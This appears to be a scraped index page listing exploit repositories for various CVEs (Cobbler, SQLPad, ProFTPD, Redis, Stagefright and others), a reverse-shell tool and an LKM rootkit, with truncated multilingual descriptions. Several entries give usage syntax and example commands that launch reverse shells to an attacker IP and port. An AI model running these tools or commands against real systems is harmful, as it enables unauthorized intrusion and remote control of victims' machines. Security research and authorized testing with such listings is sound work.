CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC 認証バイパス → リバースシェル 未認証RCE 📌 概要 このリポジトリは CVE-2024-47533 の 概念実証 PoC エクスプロイト です。 Cobbler の XMLRPC API における認証バイパスの脆弱性を悪用し、未認証のリモートコード実行 RCE に至ります。 このエクスプロイトは、XMLRPC API の login メソッドの欠陥を利用して認証を回避し、backgroundimport を介してリバースシェルコマンドを注入します。 ⚠️ 免責事項 このツールは 教育、研究、および許可された侵入テストのみ...

CVE-2024-29510

Original research and POC code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 注記: 実行したコマンド以外、POCには一切変更を加えていません。Codean LabsのThomas Rinsma氏による素晴らしい研究とPOCに、すべての功績は帰属します。 ローカルシナリオ 1. ホストが脆弱かどうかを確認するチェックスクリプトをダウンロードして実行するステージャースクリプトにラップされている 2. POC は Pytho...

CVE-2015-8351

gwollebuster このスクリプトは、WordPressの古いプラグインgwolleのエクスプロイトです。 使用方法: ./gwollebuster.py 第一引数 = gwolleがインストールされたWordPressのターゲットURL 第二引数 = あなたのIPアドレス 第三引数 = リバースシェル用のリスニングポート 例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234...

CVE-2023-46818

CVE-2023-46818 PoC Esta es una implementación en Python del PoC proporcionado por Egidio Romano alias EgiX Aquí, este exploit te proporcionará una webshell, para una shell completamente interactiva ejecuta un comando y envíate un reverse shell. Uso root@kitploit: python exploit.py http://localhos...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトで、攻撃者のPCへのリバースシェルを伴うRCEに至ります。 使用方法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 例: root@kitploit: trigger exploit ./script.py...

bepr

bepr bepr は、発信 WebSocket 接続を介した認証付きクライアント/サーバーリバースシェルプログラムです。 単一のバイナリで3つのモード（サーバーモード、クライアントモード、ユーザーモード）すべてをカバーします。rpm、deb、pkg のインストール手順がパッケージ化されており、1MB のサイズです。 外部からのアクセスを公開せずに、自宅のコンピュータを遠隔操作するために bepr を作成しました。TLS 用のドメインとサーバーがあれば動作します。 使用方法 https://github.com/Aperocky/bepr/releases...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse 利用工具 描述 此利用工具针对 Remote Mouse（原名 WiFi Mouse）应用程序中的 CVE-2021-35448 漏洞。 POC CVE-2021-35448.webm 使用方法 基本语法 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 选项 -t, --target：目标 IP 地址（必填） -p, --payload：自定义执行的命令 -r, --reverse：反向 Shell，格式为 IP:PORT -l, --http：本地 HTTP 服务器，格式...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - リモートコード実行エクスプロイト v2 Open Web Analytics 1.7.3 - RCE の実用的なエクスプロイト、pentestmonkey の PHP リバースシェル で拡張、キャッシュ内のユーザーが見つからない問題を修正。 元のエクスプロイトはこちらにあります。 使い方 攻撃マシンのIPアドレスとポートを php-reverse-shell.php ファイルに追加し、exploit.py を引数 -u（脆弱なターゲットURLを指定）で実行してください。 root@kitploit:...

SQLPad-RCE-Exploit-CVE-2022-0944

工作原理： 此 PHP 代码旨在利用 SQLPad 中与 CVE-2022-0944 相关的远程代码执行（RCE）漏洞。 其工作原理是向 SQLPad 应用程序注入恶意代码，强制其执行系统命令，从而打开一个反向 Shell——这是一种连接，可授予攻击者对存在漏洞系统的远程控制权。 先决条件： PHP CLI ——sudo apt-get install php-cli cURL（PHP cURL 库） ——sudo apt-get install php-curl 使用方法： 1. 设置监听器（在攻击者机器上） 要捕获反向 Shell 连接，请在攻击者的机器上启动 Netcat：...

cve-2015-1538-1

包含一个Python脚本，用于生成利用‘stsc’漏洞（即CVE-2015-1538（1））的MP4文件。这是我报告的Stagefright库中最关键的漏洞之一。此漏洞利用的预期结果是获得媒体用户权限的反向Shell。正如我在Black Hat和DEF CON演讲中详细所述，该用户还能访问相当多的组，例如inet、audio、camera和mediadrm。这些组允许攻击者远程拍照或收听麦克风，而无需利用其他漏洞。 此漏洞利用存在一些注意事项。首先，它并非通用漏洞利用，仅在一款设备型号上测试通过。我的目标是运行Android 4.0.4且仅实现部分ASLR的Galaxy...

Prestashop-CVE-2024-34716

CSRFおよびリバースシェル攻撃のためのエクスプロイトスクリプト このスクリプトは、CSRF（クロスサイトリクエストフォージェリ）エクスプロイトを自動化し、ターゲットのWebサーバーにPHPリバースシェルをアップロードして実行します。リバースシェルは、細工されたCSRFペイロードを介してZIPファイルとして配信され、特権ユーザーが特定のエンドポイントと対話するとトリガーされます。このスクリプトでは、リバースシェル接続をキャプチャするために、Netcatリスナーを実行している必要があります。 現在は壊れているようです。後で更新します。 必要条件 Netcat :...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 Escáner multiobjetivo XSS2Shell Desarrollador: Crédito: YogaGymn Utilidad PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de explotación para un único objetivo y un modo solo escaneo multiobjetivo...

CVE-2022-0543

CVE-2022-0543 Luaサンドボックスエスケープ脆弱性を介したRedis RCEの完全なエクスプロイト。参照元: https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/. 特徴: 自動リバースシェル -I + -P 単一コマンド実行 -x 基本シェル デフォルト 今後の予定: 誤検知を防ぐためのより良いチェックが必要 免責事項:...

CVE-2020-14295

CVE-2020-14295 脆弱性の詳細 - https://github.com/Cacti/cacti/issues/3622 インストール pip3 install -r requirements.txt 使用方法 root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help このヘルプメッセージを表示して終了 requir...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 的 PoC 来源:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

Umbra

Umbra Umbra 是一个实验性的远程可控 LKM rootkit，适用于 4.x 和 5.x（最高至 5.7）内核。它通过打开网络后门，可以向远程主机发起反弹 shell、远程启动恶意软件等。 该 rootkit 仍在开发中，但以下列出的功能已完全可用。 注意：此 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发并测试的。 功能特性 🌟 后门：在收到恶意 TCP 数据包后，向远程 IP 发起反弹 shell。 🌟 使用 Umbra Injector 远程控制 rootkit： 远程反弹 shell。 远程隐藏/显示 rootkit。 启动 Umbra 模块...

php_reverse_shell

Questo repository non contiene un README...

BlueDoor

BlueDoor CTF-Challenge Überblick Challenge-Name : BlueDoor CVE : CVE-2017-0144 EternalBlue Schwierigkeitsgrad : 3/5 Kategorie : Exploitation, Windows Autoren : Seth Davis BlueDoor simuliert eine reale Schwachstelle EternalBlue - CVE-2017-0144 in einem Windows-7-System. Ziel ist es, die...

CVE-2024-4439

Exploit CVE-2024-4439 Questo script Python dimostra un exploit per la vulnerabilità CVE-2024-4439. Puoi usare questo script per testare un sito WordPress vulnerabile. Utilizzo Prima di iniziare root@kitploit: git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -...